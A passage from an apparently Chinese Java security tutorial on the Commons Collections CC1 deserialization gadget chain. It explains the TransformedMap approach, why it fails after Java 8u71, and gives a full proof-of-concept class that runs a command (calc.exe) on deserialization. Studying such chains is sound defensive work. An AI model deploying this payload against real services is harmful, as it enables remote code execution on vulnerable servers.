value
;所以,为了再满足第二个条件,需要给Map中放入一个Key是value
的元素:
innerMap.put("value", "xxxx");
8u71再次修改POC
之后,我们在本地进行测试,发现已经可以成功弹出计算器了 。
文章插图
但是,当我们拿着这串序列化流,跑到服务器上进行反序列化时就会发现,又无法成功执行命令 了 。这又是为什么呢?
我这儿是拿到另一个
Java 8u71
以前版本的服务器上进行测试的,在8u71以后Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler
的readObject
函数jdk8u/jdk8u/jdk: f8a528d0379d (java.net)
文章插图
对于这次修改,乍一看好像原因就是没有了
setValue
,其实不然,可以看到上边是新增了一个LinkedHashMap
对象,并将原来的键值添加进去,所以,后续对Map的操作都是基于这个新的LinkedHashMap
对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了小结整体的POC如下
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class Test {public static void main(String[] args) throws Exception {Transformer[] transformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"})};ChainedTransformer chain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, chain);innerMap.put("value","xxxx");Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = cls.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);Object obj = construct.newInstance(Retention.class, outerMap);ByteArrayOutputStream array = new ByteArrayOutputStream();ObjectOutputStream writeojb = new ObjectOutputStream(array);writeojb.writeObject(obj);writeojb.close();System.out.println(array);ObjectInputStream readobj = new ObjectInputStream(new ByteArrayInputStream(array.toByteArray()));readobj.readObject();}}
但是这个Payload有一定局限性,在Java 8u71以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler
发生了变化导致不再可用,原因前文也说了 。而
ysoserial
工具中没有用到TransformedMap
,而是使用了LazyMap
。那么
LazyMap
解决了这条链在高版本Java中的使用吗?如何解决的呢?下一篇文章来分析分析 。
【2 java安全之CC1浅学】
经验总结扩展阅读
- 猫之城浪花约会怎么配队
- 星之彼端丹铜事件该如何选择
- 星之彼端叶灵事件该怎么选择
- 三星s21怎么截图_三星s21的截图方法
- 买房网签之后还有什么流程
- soul怎么找回之前聊天的人 soul恢复聊天列表方法
- 廉租房购买之后能再卖吗 父亲的廉租房女儿可以继承吗
- 2023微博电影之夜嘉宾有哪些
- 又拍云之 Keepalived 高可用部署
- JVM调优工具使用手册